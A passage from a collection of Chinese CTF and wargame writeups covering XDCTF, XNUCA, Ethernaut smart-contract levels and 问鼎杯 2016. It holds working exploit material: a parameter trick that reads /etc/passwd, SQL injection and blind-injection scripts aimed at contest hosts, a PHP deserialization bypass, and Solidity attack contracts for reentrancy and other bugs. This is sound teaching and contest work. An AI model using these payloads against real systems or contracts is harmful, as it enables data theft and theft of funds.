value)]][0])({}), 'setbit')]][0] 227 | 228 | for __g['table'] in [(string.printable.strip())]][0] for __g['string'] in [(__import__('string', __g, __g))]][0])(globals(), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)())))) 229 | 230 | ``` 231 | 232 | 核心部分我又整理了一次: 233 | ```python 234 | [(fout.write(sssss), (fout.close(), None)[1])[1] for __g['fout'] in [(open('flag.enc', 'wb+'))]][0], []) for __g['sssss'] in [('')]][0] for __g['ssss'] in [(encode(ss, sss))]][0], []) for __g['sss'] in [([])]][0] for __g['ss'] in [([])]][0])[1] for __g['s'] in [(fin.read().strip())]][0] for __g['fin'] in [(open('flag.txt', 'r'))]][0] for __g['encode'], encode.__name__ in [ 235 | (lambda data, buf: (lambda __l: [[ 236 | (lambda __items, __after, __sentinel: __y( 237 | lambda __this: lambda: 238 | (lambda __i: [[__this() for __l['data'][__l['i']] in [((table.index(__l['data'][__l['i']]) + 1))]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange(__l['_len'])), lambda: (lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [[[__this() 239 | for __l['buf'] in [( 240 | setbit(__l['buf'], __l['i'], getbit(__l['data'], __l['j'])))]][0] 241 | for __l['j'] in [((((__l['i'] / 6) * 8) + (__l['i'] % 6)))]][0] 242 | for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange((__l['_len'] * 6))), lambda: __l['buf'], []), []) for __l['_len'] in [(len(__l['data']))]][0] 243 | 244 | for __l['data'], __l['buf'] in [(data, buf)]][0])({}), 'encode')]][0] 245 | ``` 246 | 247 | 仔细看看,核心部分也就几句话: 248 | ```python 249 | [data['i'] = ((table.index(data['i']) + 1)) 250 | __this() for __l['buf'] in [( 251 | j=(i / 6) * 8 + (i % 6) 252 | setbit(buf, i, getbit(data, j)) 253 | 254 | if __i is not __sentinel else __after())(next(__items, __sentinel)))()) 255 | 256 | (iter(xrange((__l['_len'] * 6))) 257 | 258 | for __g['table'] in [(string.printable.strip())]][0] for __g['string'] in [(__import__('string', __g, __g))]][0])(globals(), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)())))) 259 | ``` 260 | 261 | 其中`__g[xxxxx]`就是全局变量,`__l[xxx]`就是局部变量 262 | PS: 还有那个__y`(lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)())))`就是神秘的Y combinator,想了解更多的自行google....(不是那家公司- -是那家公司名字的由来) 263 | 264 | 那么加密方式就出来了,把原字符在table的index+1后,把后6位保存到文件里 265 | (其实这里由于我懒得看setbit,getbit所以搞反了字节序, 266 | 后来把aaaaaaaaaaaa写入flag.txt用这个程序加密后仔细逐位对比后才发现- -||) 267 | 268 | 由于`6*4==3*8`,我就每3字节一起decode 269 | decode3b函数: 270 | ```python 271 | def tobin(b): 272 | ret='' 273 | for i in [128,64,32,16,8,4,2,1]: 274 | ret+='1' if b&i else '0' 275 | return ret 276 | 277 | def decode3b(s): 278 | a=s>>16 279 | b=(s>>8) & 0xFF 280 | c=s & 0xff 281 | sa=tobin(a) 282 | sb=tobin(b) 283 | sc=tobin(c) 284 | return table[int(sa[2:],2)]+table[int(sb[4:]+sa[:2],2)]+table[int(sc[6:]+sb[:4],2)]+table[int(sc[:6],2)] 285 | 286 | >>> a=open('flag.enc','rb') 287 | >>> a=a.read() 288 | >>> s='' 289 | >>> for i in xrange(0, len(a), 3): 290 | ... s+=decode3b(int(a[i:i+3].encode('hex'), 16)) 291 | ... 292 | >>> s 293 | 'yedugr1ofbm2o4epQz8i1op2tpkxft1nf344t000000000000000' 294 | >>> s=''.join(map(lambda c: table[(table.index(c)+63)%64], s)) 295 | 'xdctfq0neal1n3doPy7h0no1sojwes0me233s"""""""""""""""' 296 | ``` 297 | 298 | 由于只保留了最后6位,所以在table里的index大于64的特殊字符是没有的,要手动(脑)补上第7位, 299 | 查table+64可知`'q'->'{', 'o'->'_'`等等.... 300 | 得: 301 | `xdctf{0ne-l1n3d_Py7h0n_1s_@wes0me233}` 302 | 303 | -------------------------------------------------------------------------------- /XDCTF2015/misc300_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/XDCTF2015/misc300_1.png -------------------------------------------------------------------------------- /XNUCA201607WEB/README.md: -------------------------------------------------------------------------------- 1 | # CountingStars 100 2 | 3 | 下载'/.DS_Store'恢复源代码,计算$$$$$$...$$$S的值是'd0llars',提交后得到302跳转,里面的body部分就是flag 4 | 5 | # Invisible 100 6 | 7 | 没什么好说的,加'X-Forwarded-For: 127.0.0.1' 8 | 9 | # WeirdCamel 400 10 | 11 | 蛋疼perl的奇怪特性,http请求重复提交某一字段后会有奇怪效果.... 12 | 不附带参数直接post的话,perl代码接受到的变量的值大致好像是(这里用json表示) 13 | ```js 14 | { 15 | 'name': 'PHONE', 16 | 'phone': '', 17 | 'email': '' 18 | } 19 | ``` 20 | 提交`name=1`有: 21 | ```js 22 | { 23 | 'name': '1', 24 | 'phone': 'EMAIL', 25 | 'email': '' 26 | } 27 | ``` 28 | 提交`name=1&name=2`有: 29 | ```js 30 | { 31 | 'name': '1', 32 | 'phone': '', 33 | 'email': '' 34 | } 35 | ``` 36 | 提交`name=1&name=2&name=3`有: 37 | ```js 38 | { 39 | 'name': '1', 40 | 'phone': 'EMAIL', 41 | 'email': '' 42 | } 43 | ``` 44 | 45 | 从上面的效应大概可以知道,perl大概直接把hash结构存为一个数组,不提交参数时就是 46 | ```js 47 | ['NAME','PHONE','EMAIL'] 48 | ``` 49 | 解释成`{'NAME':'PHONE', 'EMAIL': ''}`,然后提交`name=1`的时候就变成: 50 | ```js 51 | ['NAME','1','PHONE','EMAIL'] 52 | ``` 53 | 解释成`{'NAME':'1','PHONE':'EMAIL'}`,然后提交`name=1&name=2`的时候就变成: 54 | ```js 55 | ['NAME','1','2','PHONE','EMAIL'] 56 | ``` 57 | 解释成`{'NAME':'1','2':'PHONE','EMAIL':''}`等等.... 58 | 59 | 那么我们脑洞一下后就可以知道要改STATEMENT的值,那就提交`name=1&name=STATEMENT&name=/etc/passwd`就可以读取'/etc/passwd'啦 60 | 读register.pl后可以发现里面有个注释了的`#print `,然后就是sql注入 61 | 62 | 在perl里面转义函数quote()在形如"id=1'&id=2"的时候直接返回"1'"....也就是直接无障碍裸的sql注入.... 63 | 64 | payload: 65 | ![perl.png](perl.png) 66 | 67 | 68 | # BOSS 500 69 | 70 | `http://question12.erangelab.com/login.php~`可以看代码,为什么这么执着于备份文件..... 71 | 72 | ```php 73 | 'keep-alive', 95 | 'HTTP_CACHE_CONTROL' => 'max-age=0', 96 | 'HTTP_USER_AGENT' => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36', 97 | 'HTTP_ACCEPT' => 'image/webp,image/*,*/*;q=0.8', 98 | 'HTTP_REFERER' => 'http://question12.erangelab.com/xnuca_checklist.php', 99 | 'HTTP_ACCEPT_ENCODING' => 'gzip, deflate, sdch', 100 | 'HTTP_ACCEPT_LANGUAGE' => 'zh-CN,zh;q=0.8', 101 | 'PHP_SELF' => '/rec.php', 102 | 'REQUEST_TIME_FLOAT' => 1469968445.9431269, 103 | 'REQUEST_TIME' => 1469968445, 104 | )array ( 105 | 'str' => 'send_role=xt=urn:btih:1207054EE7FBB53FF0708BDE6A7934B7E5095CC9', 106 | )array ( 107 | ) 108 | ``` 109 | 110 | 下载cookie的磁力链接即可看到flag。 -------------------------------------------------------------------------------- /XNUCA201607WEB/perl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/XNUCA201607WEB/perl.png -------------------------------------------------------------------------------- /eth_writeup_ethernaut.zeppelin.solutions.md: -------------------------------------------------------------------------------- 1 | # 前言 2 | 3 | 偶然看到了一个由 包含经典以太坊智能合约漏洞 的一系列合约组成的实战wargame,就简单写一个附有exploit的writeup。 4 | 5 | 当然还有一些经典漏洞没有覆盖到,可以查看文末的扩展阅读。 6 | 7 | wargame地址: https://ethernaut.zeppelin.solutions/ 。 8 | 题目简单,每关通关后也会有comment来解释实际含义,非常适合新入坑的同学 9 | 10 | 这篇writeup也包含了一些solidity语言remix IDE/web3.js的简单操作使用方法。 11 | 12 | 前置条件:基本了解智能合约概念,了解solidity语言,了解ETH web3 json RPC provider、metamask基本原理和使用 13 | 14 | 这套题目,智能合约都部署在Ropsten测试网络,因此先要根据level0提示去faucet获取些测试网络ether。这个平台本身也是一个DApp,由一个智能合约负责管理每个关卡的合约instance。 15 | 16 | # level0 Hello Ethernaut 17 | 题目说明已经很详细了。点击`Get new instance`, 然后浏览器console输入`await contract.info()`即可开始(只要你安装配置好metamask),嫌麻烦或者`contract.abi`查看abi直接猜出来通关方法: 18 | 19 | ``` 20 | > await contract.password() 21 | "ethernaut0" 22 | > await contract.authenticate("ethernaut0") 23 | 24 | > await contract.getCleared() 25 | true 26 | ``` 27 | 然后点击`submit instance`即可 28 | 29 | 可能由于网络原因不太稳定,可以多试几次。 30 | 31 | 另,console提示信息非常魔性... 32 | 33 | # level1 fallback 34 | 35 | 这题主要就是熟悉平台和remix使用的签到题 36 | 37 | 点击关卡的Get Instance,浏览器js console会返回新创建的合约的地址,复制下来再用remix IDE (https://remix.ethereum.org/) 交互 (我比较习惯remix IDE中交互,当然对于简单的操作,浏览器console里用web3.js的api像之前一样直接调用合约方法也可以) 38 | 39 | ```solidity 40 | pragma solidity ^0.4.18; 41 | 42 | contract Fallback { 43 | 44 | mapping(address => uint) public contributions; 45 | 46 | function contribute() public payable; 47 | 48 | function getContribution() public view returns (uint); 49 | 50 | function withdraw() public; 51 | 52 | function() payable public; 53 | } 54 | ``` 55 | 在remix compile后,在run标签里填入合约地址,然后点击`At address`即可交互了。 56 | 57 | 这题的思路是,先value=1wei调用contribute(),然后value=1wei调用fallback()即可重设owner,最后value=0调用withdraw完成任务。 58 | 59 | 需要了解owner、msg.value、payable、fallback函数的含义 60 | 61 | # level2 fallout 62 | 这题注意有个`Fal1out`函数,与合约名`Fallout`不一致,因此不是构造函数(构造函数在合约生成后就不存在了,这一过程实际上是contract creation交易包含构造函数的bytecode,该交易执行构造函数bytecode,然后内存里是合约的其余代码的bytecode,然后ETH节点把返回的bytecode放置在链上与合约地址关联起来),我们可以调用此函数来claim ownership 63 | 64 | # level3 coin flip 65 | 66 | 除了我们手动调用合约的函数,我们也可以写合约来调用合约,因此这题只要写solidity代码我们就能得到block的信息了,思路同0ctf 2018线下赛的ZeroLottery题目: 67 | ```solidity 68 | pragma solidity ^0.4.18; 69 | 70 | contract CoinFlip { 71 | uint256 public consecutiveWins; 72 | function flip(bool _guess) public returns (bool); 73 | } 74 | 75 | contract MyContract { 76 | CoinFlip c; 77 | uint256 lastHash; 78 | uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; 79 | 80 | function MyContract(address coinFlip) public { 81 | c = CoinFlip(coinFlip); 82 | } 83 | 84 | function exploit() public returns (bool) { 85 | uint256 blockValue = uint256(block.blockhash(block.number-1)); 86 | 87 | if (lastHash == blockValue) { 88 | revert(); 89 | } 90 | 91 | lastHash = blockValue; 92 | uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); 93 | bool side = coinFlip == 1 ? true : false; 94 | return c.flip(side); 95 | } 96 | } 97 | ``` 98 | remix IDE中compile后,我们需要部署MyContract,选择`injected web3` provider后在Deploy MyContract时,构造函数填入关卡合约instance的地址,然后在10个新区块中调用`exploit()`即可,需要花点时间,隔段时间等交易被打包进入一个区块后就又点击`exploit()`一次......10次比较蛋疼,尤其是网络不好 99 | 100 | 从这道题可以看出,智能合约系统内部没有安全的随机数,只能通过智能合约系统外部的调用实现。 101 | 102 | # level4 telephone 103 | 这题主要考的就是tx.origin和msg.sender的区别了,在于msg.sender是函数的直接调用方,可能是你手工调用该函数,这时候是发起该交易的账户地址,也可以是调用该函数的一个智能合约的地址。但tx.origin一定只能是这个交易的原始发起方,无论中间有多少次合约内/跨合约函数调用,一定是账户地址而不是合约地址。因此只要写合约调用changeOwner即可,这时msg.sender是你写的智能合约地址,tx.origin是你的账户地址 104 | 105 | ```solidity 106 | pragma solidity ^0.4.18; 107 | 108 | contract Telephone { 109 | function changeOwner(address _owner); 110 | } 111 | 112 | contract MyContract { 113 | Telephone c; 114 | function MyContract(address _c) public { 115 | c = Telephone(_c); 116 | } 117 | 118 | function exploit() public returns (bool) { 119 | c.changeOwner(tx.origin); 120 | } 121 | } 122 | ``` 123 | 124 | # level5 Token 125 | 整数溢出的问题,由于用的是uint无符号数,因此`20 - 21 = 0xFFFFFFFFF... > 0`,所以只要调用`transfer(随便一个地址, 21)`即可 126 | 127 | # level6 delegation 128 | 我们看下delegatecall的文档: 129 | ``` 130 | There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values. 131 | ``` 132 | 简要概括,就是msg.sender和msg.value不会变,被调用方法能够access所有调用方contract的成员属性,以方便实现在链上放置library的这一feature。那么,只要在Delegation里利用delegatecall调用Delegate.pwn()函数即可修改Delegation.owner。 133 | 134 | 如果熟悉raw格式的交易的data的同学会知道,data头4个byte是被调用方法的签名哈希,remix里调用函数,实质只是向合约账户地址发送了`(msg.data[0:4] == 函数签名哈希)`的一笔交易,然后合约的bytecode就会执行,bytecode中含有判断签名哈希的函数分发逻辑。我们只需要调用Delegation的fallback的同时在msg.data放入pwn函数的solidity签名即可。在remix里,我们可以更方便地实现这一exploit,我们只要在Delegation代码里放入pwn函数的solidity签名,remix调用Delegation的假pwn()即可,这样pwn的函数签名哈希就会放在msg.data[0:4]了(当然实际执行的代码还是fallback的函数),如下: 135 | 136 | ```solidity 137 | pragma solidity ^0.4.18; 138 | 139 | contract Delegation { 140 | function pwn() public; 141 | } 142 | ``` 143 | 编译后填入关卡instance地址,点击at address,然后调用pwn即可(注意gas limit要调大一点不然会out of gas,不要用默认计算的gas limit) 144 | 145 | 对此不熟悉的同学可以看看编译器对于solidity的函数分发实现部分的相关compiled EVM bytecode 146 | 147 | # level7 Force 148 | `selfdestruct`函数可以强行发送ETH, 可参考https://medium.com/@alexsherbuck/two-ways-to-force-ether-into-a-contract-1543c1311c56 149 | 150 | ```solidity 151 | pragma solidity ^0.4.18; 152 | 153 | contract Force {} 154 | 155 | contract MyContract { 156 | Force c; 157 | function MyContract(address _c) public { 158 | c = Force(_c); 159 | } 160 | 161 | function exploit() payable public { 162 | selfdestruct(c); 163 | } 164 | } 165 | ``` 166 | 167 | # level8 vault 168 | 区块链上所有东西都是公开的,查看json rpc文档可知道有`eth.getStorageAt()` API,根据solidity的“对象模型” (http://solidity.readthedocs.io/en/develop/miscellaneous.html),可知`password`放在storage的1的位置 169 | 170 | console里输入即可查看密码: 171 | ```js 172 | web3.eth.getStorageAt(contract.address, 1, console.log); 173 | ``` 174 | 175 | 如果在remix里调用unlock注意一下remix对bytes32参数的格式:"0xXXXXXXXXX..." (包括双引号) 176 | 177 | # level9 King 178 | `king.transfer`函数在调用失败时会抛异常,后面`king = msg.sender;`就不会被执行,我们就达到目标了,因此只要让transfer时失败就行,我们让king不能接受eth transfer即可 179 | 180 | ```solidity 181 | pragma solidity ^0.4.18; 182 | 183 | contract King { 184 | address public king; 185 | uint public prize; 186 | function() external payable; 187 | } 188 | 189 | contract FallbackThrowException { 190 | address owner; 191 | 192 | function FallbackThrowException(address _c) payable public { 193 | owner = msg.sender; 194 | King c = King(_c); 195 | c.call.value(c.prize())(); 196 | } 197 | 198 | function dtor() { 199 | selfdestruct(owner); 200 | } 201 | 202 | function() payable { 203 | throw; 204 | } 205 | } 206 | ``` 207 | 208 | 调用构造函数时,value=1.1 ether即可。 209 | 210 | `FallbackThrowException`作为king时,transfer会调用`FallbackThrowException.fallback`,自然就throw失败了。 211 | 212 | 验证通过后可以调用dtor回收零头 213 | 214 | # level10 Re-entrancy 215 | 216 | 由于`balances[msg.sender] -= _amount;`在发送ETH(`msg.sender.call.value(_amount)()`)的之后,我们可以用合约作为msg.sender,这样我们的合约的fallback函数就会在`msg.sender.call`被调用(在`-= _amount`之前),于是我们可以无限递归调用withdraw()函数来获得合约内所有的ETH。 217 | 218 | ```solidity 219 | pragma solidity ^0.4.18; 220 | 221 | contract Reentrance { 222 | 223 | mapping(address => uint) public balances; 224 | 225 | function donate(address _to) public payable { 226 | balances[_to] += msg.value; 227 | } 228 | 229 | function balanceOf(address _who) public view returns (uint balance) { 230 | return balances[_who]; 231 | } 232 | 233 | function withdraw(uint _amount) public { 234 | if(balances[msg.sender] >= _amount) { 235 | if(msg.sender.call.value(_amount)()) { 236 | _amount; 237 | } 238 | balances[msg.sender] -= _amount; 239 | } 240 | } 241 | 242 | function() public payable {} 243 | } 244 | 245 | contract MyContract { 246 | Reentrance c; 247 | address owner; 248 | 249 | function MyContract(address _c) public payable { 250 | c = Reentrance(_c); 251 | owner = msg.sender; 252 | c.donate.value(msg.value)(this); 253 | } 254 | 255 | function() public payable { 256 | uint weHave = c.balanceOf(this); 257 | if (weHave > c.balance) { 258 | if (c.balance != 0) c.withdraw(c.balance); 259 | return; 260 | } 261 | c.withdraw(weHave); 262 | } 263 | 264 | function exploit() public { 265 | c.withdraw(0); 266 | } 267 | 268 | function dtor() { 269 | selfdestruct(owner); 270 | } 271 | } 272 | ``` 273 | value=0.5 ether,填入关卡合约instance地址构造MyContract,然后调用exploit即可(注意要调大gas limit),调用dtor回收ETH。 274 | 275 | 这个漏洞的利用曾使得全网14%的以太坊被盗(被称为DAO Hack),社区决定以太坊分叉出ETH链,也就是ETH是回滚至被黑之前的链,ETC则是黑客拥有以太坊的原始链,由于矿工利益问题存活至今 276 | 277 | # level11 Elevator 278 | 279 | 仔细阅读题目,可以想到这题的通关条件是`Elevator.top == true`。突破点在于interface里的view/constant/pure修饰符仅在于Solidity语言层面起作用,而实际EVM层面跨合约调用时并没有检查。于是,实际上isLastFloor是可以有副作用的。我们可以通过成员变量区分两次isLastFloor调用,第一次返回false第二次返回true即可。 280 | 281 | ```solidity 282 | pragma solidity ^0.4.18; 283 | 284 | contract Elevator { 285 | bool public top; 286 | uint public floor; 287 | 288 | function goTo(uint _floor) public; 289 | } 290 | 291 | contract MyBuilding { 292 | bool private isArrived = false; 293 | Elevator c; 294 | 295 | function MyBuilding(address _c) { 296 | c = Elevator(_c); 297 | } 298 | 299 | function isLastFloor(uint) public returns (bool) { 300 | if (!isArrived) { 301 | isArrived = true; 302 | return false; 303 | } 304 | return true; 305 | } 306 | 307 | function exploit() public { 308 | c.goTo(777); 309 | } 310 | } 311 | 312 | ``` 313 | 314 | # level12 Privacy 315 | 同上面某题,只要调用eth.getStorageAt就可以了,注意ethereum是大端序,比如bytes4(msg.data)就是被调用方法签名的哈希。 316 | 317 | ```js 318 | > web3.eth.getStorageAt("0x443ba829e54bc353a774e19cd0f4c463bbd70292", 3, console.log); 319 | < null "0x855225da826cf02c945e41f445f2c7491d28ecdd3e99e12abca7629d8b49ca9f" 320 | > "0x855225da826cf02c945e41f445f2c7491d28ecdd3e99e12abca7629d8b49ca9f".substr(0,34) 321 | < "0x855225da826cf02c945e41f445f2c749" 322 | ``` 323 | 324 | 然后调用unlock就行了 325 | 326 | # level13 Gatekeeper One 327 | 328 | 关键的`msg.gas`只要复制一份代码,在remix js vm里点击debug单步调试,看看由调用enter开始直到汇编语句`GAS`时所用的gas是多少,然后设定gas=81910加上消耗掉的gas数和`GAS`本身消耗的2即可。 329 | 330 | 但是,每个版本compiler编译出来的指令都不太一样,因此看代码要选择0.4.18版本(https://remix.ethereum.org/#optimize=false&version=soljson-v0.4.18+commit.9cf6e910.js)。在这里就踩了一下坑.. 331 | 332 | 剩下就是注意一下solidity的类型转换截断的实现。 333 | 334 | 335 | ```solidity 336 | pragma solidity ^0.4.18; 337 | 338 | contract GatekeeperOne { 339 | function enter(bytes8 _gateKey) public returns (bool); 340 | } 341 | 342 | contract MyAgent { 343 | GatekeeperOne c; 344 | 345 | function MyAgent(address _c) { 346 | c = GatekeeperOne(_c); 347 | } 348 | 349 | function exploit() { 350 | uint64 gateKey = uint16(tx.origin) + (1 << 44); 351 | c.enter.gas(81910-81697+81910+2)(bytes8(gateKey)); 352 | } 353 | } 354 | ``` 355 | 356 | # level14 Gatekeeper Two 357 | 查看以太坊黄皮书第十页底部(https://ethereum.github.io/yellowpaper/paper.pdf) 358 | ``` 359 | 4 During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while 360 | CODESIZE should return the length of the initialization code (as defined in H.2 361 | ``` 362 | 363 | 因此只要在构造函数内调用enter即可,剩下无非就是一个异或的简单逻辑,显然0-1=0xFFFFFF...,而对任意X有~X ^ X == 0xFFFF...,因此代码如下: 364 | ```solidity 365 | pragma solidity ^0.4.18; 366 | 367 | contract GatekeeperTwo { 368 | address public entrant; 369 | function enter(bytes8 _gateKey) public returns (bool); 370 | } 371 | 372 | contract MyAgent { 373 | function MyAgent(address _c) { 374 | GatekeeperTwo c = GatekeeperTwo(_c); 375 | c.enter(bytes8(~uint64(keccak256(this)))); 376 | } 377 | } 378 | ``` 379 | 380 | 381 | # level15 Naught Coin 382 | 383 | 这题的合约继承了`ERC20/StandardToken`(https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/StandardToken.sol),因此也自然继承了里面的一些函数。 384 | 385 | 我们可以看到ERC20还包含了allowance这种功能,以及里面自带一个transferFrom函数。利用思路是,我们可以创建一个合约`MyAgent`,然后手工调用`StandardToken.approve()`授权该合约使用我们的tokens,然后我们通过该合约`MyAgent.getAllToken()`调用`StandardToken.transferFrom()`函数把tokens全部转移即可,非常简单。或者直接自己approve自己账户地址,然后调用transferFrom也行。 386 | 387 | 代码如下: 388 | ```solidity 389 | pragma solidity ^0.4.18; 390 | 391 | contract NaughtCoin { 392 | 393 | string public constant name = 'NaughtCoin'; 394 | string public constant symbol = '0x0'; 395 | uint public constant decimals = 18; 396 | uint public timeLock = now + 10 years; 397 | uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals); 398 | address public player; 399 | 400 | function transferFrom( 401 | address _from, 402 | address _to, 403 | uint256 _value 404 | ) 405 | public 406 | returns (bool); 407 | 408 | function transfer(address _to, uint256 _value) lockTokens public returns(bool); 409 | 410 | // Prevent the initial owner from transferring tokens until the timelock has passed 411 | modifier lockTokens() { 412 | if (msg.sender == player) { 413 | require(now > timeLock); 414 | if (now < timeLock) { 415 | _; 416 | } 417 | } else { 418 | _; 419 | } 420 | } 421 | 422 | function approve(address _spender, uint256 _value) public returns (bool); 423 | } 424 | 425 | contract MyAgent { 426 | address owner; 427 | NaughtCoin c; 428 | 429 | function MyAgent(address _c) public { 430 | owner = msg.sender; 431 | c = NaughtCoin(_c); 432 | } 433 | 434 | function getAllToken() public { 435 | c.transferFrom(owner, this, c.INITIAL_SUPPLY()); 436 | } 437 | } 438 | ``` 439 | 440 | # Vulnerbilities总结 441 | 442 | 1. 复制代码时注意改构造函数名...应该用constructor关键字而不是用deprecated的与合约同名的函数作为构造函数 443 | 2. 合约中生成随机数时要注意其不安全 444 | 3. 注意msg.sender可以是智能合约地址 445 | 4. 注意整数overflow和underflow,尽量用safemath库 446 | 5. delegatecall要注意安全性 447 | 6. 不能假设你的合约不能接受ETH,也就是说注意`this.balance == 0`的使用 448 | 7. 区块链上没有不公开的东西 449 | 8. Address.transfer要处理异常 450 | 9. Address.call不安全,可能会消耗大量的gas或Out of gas 451 | 10. 除了payable外,不能在字节码层面的外部合约的view/constant/pure修饰符做假设,除非这个合约一定是你控制的 452 | 11. 继承或引用代码时要全面了解其代码 453 | 454 | # 附录 455 | 456 | - FreeBuf简介文章 457 | 以太坊去中心化应用dApp的渗透测试姿势浅析 458 | http://www.freebuf.com/articles/blockchain-articles/174050.html 459 | 460 | - Solidity文档 461 | http://solidity.readthedocs.io 462 | 463 | - 扩展阅读 464 | https://github.com/b-mueller/smashing-smart-contracts/blob/master/smashing-smart-contracts-1of1.pdf 465 | -------------------------------------------------------------------------------- /问鼎杯2016/README.md: -------------------------------------------------------------------------------- 1 | # 问鼎杯2016 2 | 3 | ## 2-1 4 | 5 | 没什么好说的...就是脑洞 6 | 7 | 提交的url藏在页面里,搜一下`fulaige`可以找到提交token和key的url。然后是找token和key。 8 | 9 | 页面内联CSS中会有一项`t0ken: rgb(X, Y, Z)`,发几个请求diff一下就能注意到这里。 10 | 那么脑洞一下易知XYZ转成16进制后就是token。 11 | 12 | 然后是找key,css+html都藏过了那么就是藏在js里了吧。一开始注意到jquery 1.9.3搜不到这个版本,觉得藏在这里面。然后在控制台敲了个key浏览器就把key打出来了。 13 | 14 | 那么把key和token填在一开始得到的url里就能看到flag了。 15 | 16 | ## 2-2 17 | 18 | 跟`HITCON 2016`的`babytrick`很像,只是最后拿flag过程变成了盲注而已。 19 | 20 | 核心思路: 21 | - 利用反序列化异常对象,来阻止`__wakeup`中的sql过滤代码被执行,直接执行`__destruct`。具体可以看HITCON的writeup,这里就不在多说了。 22 | - 利用`>=`,`ascii()`,`substr()`等sql函数进行二分查找盲注加速拿flag 23 | 24 | payload生成及获取flag代码: 25 | ```php 26 | conn = null; 38 | $this->method = 'show'; 39 | $str = bin2hex($str); 40 | $pos = strlen($res)+1; 41 | $this->args = ["admin' and ascii(substr(password,{$pos},1)) >= 0x{$str} -- "]; 42 | $this->isGenerator = true; 43 | } 44 | 45 | function __destruct() { 46 | if(isset($this->isGenerator)) return; 47 | if (!$this->conn) 48 | echo "connect to db. "; 49 | echo "deconstruct called. "; 50 | //var_dump($this); 51 | if (in_array($this->method, array("show", "source"))) { 52 | @call_user_func_array(array($this, $this->method), $this->args); 53 | } 54 | } 55 | 56 | function __wakeup() { 57 | foreach($this->args as $k => $v) { 58 | $this->args[$k] = strtolower(trim(mysql_escape_string($v))); 59 | } 60 | } 61 | 62 | function show() { 63 | list($username) = func_get_args(); 64 | if(preg_match("/\b(select|insert|update|delete)\b/i",$username)){ 65 | die("hello,hacker!"); 66 | } 67 | $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username); 68 | var_dump($sql); 69 | } 70 | } 71 | 72 | 73 | $a = new COMEON(); 74 | 75 | $printable = [' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~']; 76 | 77 | function guess($i) { 78 | global $res, $a, $printable; 79 | $a->generate($i); 80 | $data = serialize($a); $data = str_replace(';N;', ';O:9:"Exception":2:{s:7:"*file";R:4;};', $data); 81 | $url = "http://sec3.hdu.edu.cn/831291d147f8429887af12bcb53e2d91/?data=".urlencode($data); 82 | $ret = file_get_contents($url); 83 | //var_dump($i . " " . $ret); 84 | return $ret === ' {"msg":"admin is admin"}'; 85 | } 86 | 87 | // return max "admin is admin" 88 | function binarySearch($fl, $fr) { 89 | global $printable; 90 | if($fl == $fr) { 91 | return guess($printable[$fl]) ? $fl : -1; 92 | } 93 | if($fl == $fr - 1) { 94 | if(guess($printable[$fr])) return $fr; 95 | return binarySearch($fl, $fl); 96 | } 97 | $m = ($fl + $fr) >> 1; 98 | if(guess($printable[$m])) { 99 | $tmp = binarySearch($m+1, $fr); 100 | if($tmp !== -1) return $tmp; 101 | else return $m; 102 | } else { 103 | return binarySearch($fl, $m-1); 104 | } 105 | } 106 | 107 | for($i =0; $i < 10; $i++) { 108 | $tmp = $printable[binarySearch(0, count($printable)-1)]; 109 | $res .= $tmp; 110 | var_dump($res); 111 | } 112 | 113 | ?> 114 | ``` 115 | 116 | ## 5-2 117 | 118 | 没什么好说的..基本上就是裸注入 119 | 貌似`username`必须要为`user`,所以从`id`字段做手脚 120 | 把要注入回显的有用信息的字符串转成ascii码存在`id`字段里,一字节一字节地读取即可。 121 | 要先在`information_schema`表里查查`table_name`和`column_name`,可知是在`fffflag`表内的`fflag`列中。 122 | 123 | 代码: 124 | ```python 125 | from hashlib import md5 126 | import requests 127 | 128 | def innerText(txt, st, fin): 129 | txt = txt[txt.index(st)+len(st):] 130 | return txt[:txt.index(fin)] 131 | 132 | def solve(cap): 133 | t=0 134 | while md5(str(t)).hexdigest()[:len(cap)] != cap: 135 | t+=1 136 | return str(t) 137 | 138 | ss = '' 139 | for i in xrange(1,10000): 140 | s = requests.session() 141 | a = s.get('http://sec2.hdu.edu.cn/e33cdf8c2126fc5490fbc5d7fc269036/').content 142 | cap = innerText(a, ",0,4) =='", "'") 143 | ans = solve(cap) 144 | payload = '''(select group_concat(fflag) from ffff1ag)''' 145 | payload = '''200 union select ascii(mid(%s,%d,1)) as id,username from users -- ''' % (payload,i) 146 | ret = s.post('http://sec2.hdu.edu.cn/e33cdf8c2126fc5490fbc5d7fc269036/', data={'id': payload, 'code': ans}).text 147 | c = chr(int(innerText(ret, 'name', ''))) 148 | if ord(c) == 0: break 149 | print c 150 | ss += c 151 | 152 | print ss 153 | ``` 154 | --------------------------------------------------------------------------------